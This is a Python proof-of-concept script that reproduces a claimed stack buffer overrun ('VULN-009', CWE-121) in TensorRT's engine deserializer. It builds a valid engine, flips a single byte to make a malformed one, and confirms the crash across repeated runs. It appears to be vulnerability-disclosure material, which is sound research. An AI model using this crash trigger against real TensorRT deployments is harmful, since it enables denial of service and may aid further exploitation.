Upload vuln009_standalone_poc.py with huggingface_hub

vuln009_standalone_poc.py

@@ -0,0 +1,185 @@
+"""
+VULN-009: Stack Buffer Overrun in TensorRT Engine Deserializer
+================================================================
+A single-byte mutation in the NGNE (engine graph) section of a valid
+TensorRT engine file triggers STATUS_STACK_BUFFER_OVERRUN (0xC0000409)
+during deserializeCudaEngine().
+
+This indicates stack-based buffer overflow detected by Windows /GS stack
+cookie protection. The crash occurs in the closed-source libnvinfer.dll
+engine parser.
+
+CWE: CWE-121 (Stack-based Buffer Overflow)
+Distinct from VULN-006 (CWE-125, Out-of-bounds Read / ACCESS_VIOLATION)
+Distinct from VULN-008 (CWE-369, Integer Divide-by-Zero)
+
+To reproduce:
+1. python vuln009_standalone_poc.py build   (builds valid + crash engines)
+2. python vuln009_standalone_poc.py crash   (loads crash engine, triggers crash)
+3. python vuln009_standalone_poc.py verify  (full verification)
+"""
+import os, sys, struct, subprocess, time
+import numpy as np
+
+POC_DIR = os.path.dirname(os.path.abspath(__file__))
+VALID_PATH = os.path.join(POC_DIR, "vuln009_valid.engine")
+CRASH_PATH = os.path.join(POC_DIR, "vuln009_crash.engine")
+
+# Crash offset and value (from full scan)
+CRASH_OFFSET = 498
+CRASH_VALUE = 0xFF
+ORIGINAL_VALUE = 0x00
+
+
+def cmd_build():
+    """Build valid engine, then create crash variant."""
+    import tensorrt as trt
+    from onnx import helper, TensorProto, numpy_helper
+
+    print("[*] Building valid BatchNorm TensorRT engine...")
+    bn_s = numpy_helper.from_array(np.ones(8, dtype=np.float32), name="bn_s")
+    bn_b = numpy_helper.from_array(np.zeros(8, dtype=np.float32), name="bn_b")
+    bn_m = numpy_helper.from_array(np.zeros(8, dtype=np.float32), name="bn_m")
+    bn_v = numpy_helper.from_array(np.ones(8, dtype=np.float32), name="bn_v")
+    g = helper.make_graph(
+        [helper.make_node("BatchNormalization", ["x", "bn_s", "bn_b", "bn_m", "bn_v"], ["output"])],
+        "batchnorm",
+        [helper.make_tensor_value_info("x", TensorProto.FLOAT, [1, 8, 4, 4])],
+        [helper.make_tensor_value_info("output", TensorProto.FLOAT, None)],
+        [bn_s, bn_b, bn_m, bn_v])
+    model = helper.make_model(g, opset_imports=[helper.make_opsetid("", 17)])
+    model.ir_version = 8
+
+    logger = trt.Logger(trt.Logger.WARNING)
+    builder = trt.Builder(logger)
+    network = builder.create_network(1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
+    parser = trt.OnnxParser(network, logger)
+    assert parser.parse(model.SerializeToString()), "Parse failed"
+    config = builder.create_builder_config()
+    config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 256 << 20)
+    engine_bytes = builder.build_serialized_network(network, config)
+    assert engine_bytes, "Build failed"
+    engine_data = bytes(engine_bytes)
+
+    # Save valid engine
+    with open(VALID_PATH, "wb") as f:
+        f.write(engine_data)
+    print(f"[+] Valid engine: {VALID_PATH} ({len(engine_data)} bytes)")
+
+    # Verify it loads
+    runtime = trt.Runtime(logger)
+    engine = runtime.deserialize_cuda_engine(engine_data)
+    assert engine, "Valid engine failed to load"
+    print(f"[+] Valid engine loads OK")
+
+    # Create crash variant
+    mutated = bytearray(engine_data)
+    print(f"[*] Mutating byte at offset {CRASH_OFFSET}: 0x{engine_data[CRASH_OFFSET]:02x} -> 0x{CRASH_VALUE:02x}")
+    mutated[CRASH_OFFSET] = CRASH_VALUE
+
+    with open(CRASH_PATH, "wb") as f:
+        f.write(bytes(mutated))
+    print(f"[+] Crash engine: {CRASH_PATH} ({len(mutated)} bytes)")
+    print(f"[+] Build complete. Run 'python {os.path.basename(__file__)} crash' to trigger.")
+
+
+def cmd_crash():
+    """Load the crash engine (will trigger STATUS_STACK_BUFFER_OVERRUN)."""
+    import tensorrt as trt
+
+    if not os.path.exists(CRASH_PATH):
+        print("[-] Crash engine not found. Run 'build' first.")
+        sys.exit(1)
+
+    print(f"[*] Loading crash engine: {CRASH_PATH}")
+    print(f"[*] Expecting STATUS_STACK_BUFFER_OVERRUN (0xC0000409)...")
+
+    logger = trt.Logger(trt.Logger.ERROR)
+    runtime = trt.Runtime(logger)
+    with open(CRASH_PATH, "rb") as f:
+        data = f.read()
+
+    # This call will crash with STATUS_STACK_BUFFER_OVERRUN
+    engine = runtime.deserialize_cuda_engine(data)
+    if engine:
+        print("[!] Engine loaded (unexpected - crash should have occurred)")
+    else:
+        print("[*] Engine rejected (no crash, but deserialization failed)")
+
+
+def cmd_verify():
+    """Full verification: test in subprocess, confirm crash type."""
+    if not os.path.exists(VALID_PATH) or not os.path.exists(CRASH_PATH):
+        print("[-] Engine files not found. Run 'build' first.")
+        sys.exit(1)
+
+    print("[1] Testing valid engine...")
+    rc1 = _test_engine_subprocess(VALID_PATH)
+    print(f"    Return code: {rc1}")
+    assert rc1 == 0, "Valid engine should load OK"
+
+    print("[2] Testing crash engine...")
+    rc2 = _test_engine_subprocess(CRASH_PATH)
+    print(f"    Return code: {rc2}")
+
+    if rc2 == 3221226505:
+        print("[+] CONFIRMED: STATUS_STACK_BUFFER_OVERRUN (0xC0000409)")
+        print("[+] CWE-121: Stack-based Buffer Overflow")
+        print("[+] This is a DISTINCT vulnerability from VULN-006 (ACCESS_VIOLATION)")
+    elif rc2 == 3221225477:
+        print("[!] ACCESS_VIOLATION (0xC0000005) - different crash type")
+    else:
+        print(f"[?] Unexpected return code: {rc2}")
+
+    # Show diff
+    valid = open(VALID_PATH, "rb").read()
+    crash = open(CRASH_PATH, "rb").read()
+    diffs = [(i, valid[i], crash[i]) for i in range(min(len(valid), len(crash))) if valid[i] != crash[i]]
+    print(f"\n[3] Difference between valid and crash engines:")
+    for off, v, c in diffs:
+        print(f"    Offset {off}: 0x{v:02x} -> 0x{c:02x}")
+
+    # Reproducibility test
+    print(f"\n[4] Reproducibility test (10 runs)...")
+    results = []
+    for i in range(10):
+        rc = _test_engine_subprocess(CRASH_PATH)
+        results.append(rc)
+    crash_count = sum(1 for r in results if r == 3221226505)
+    print(f"    Stack overrun: {crash_count}/10 runs")
+    print(f"    Return codes: {results}")
+
+
+def _test_engine_subprocess(engine_path):
+    """Test engine loading in subprocess. Returns exit code."""
+    code = f"""
+import tensorrt as trt
+logger = trt.Logger(trt.Logger.ERROR)
+runtime = trt.Runtime(logger)
+with open(r"{engine_path}", "rb") as f:
+    engine = runtime.deserialize_cuda_engine(f.read())
+print("OK" if engine else "FAIL")
+"""
+    try:
+        r = subprocess.run([sys.executable, "-c", code],
+                          capture_output=True, text=True, timeout=15)
+        return r.returncode
+    except subprocess.TimeoutExpired:
+        return -999
+
+
+if __name__ == "__main__":
+    if len(sys.argv) < 2:
+        print(f"Usage: python {os.path.basename(__file__)} [build|crash|verify]")
+        sys.exit(1)
+
+    cmd = sys.argv[1]
+    if cmd == "build":
+        cmd_build()
+    elif cmd == "crash":
+        cmd_crash()
+    elif cmd == "verify":
+        cmd_verify()
+    else:
+        print(f"Unknown command: {cmd}")
+        sys.exit(1)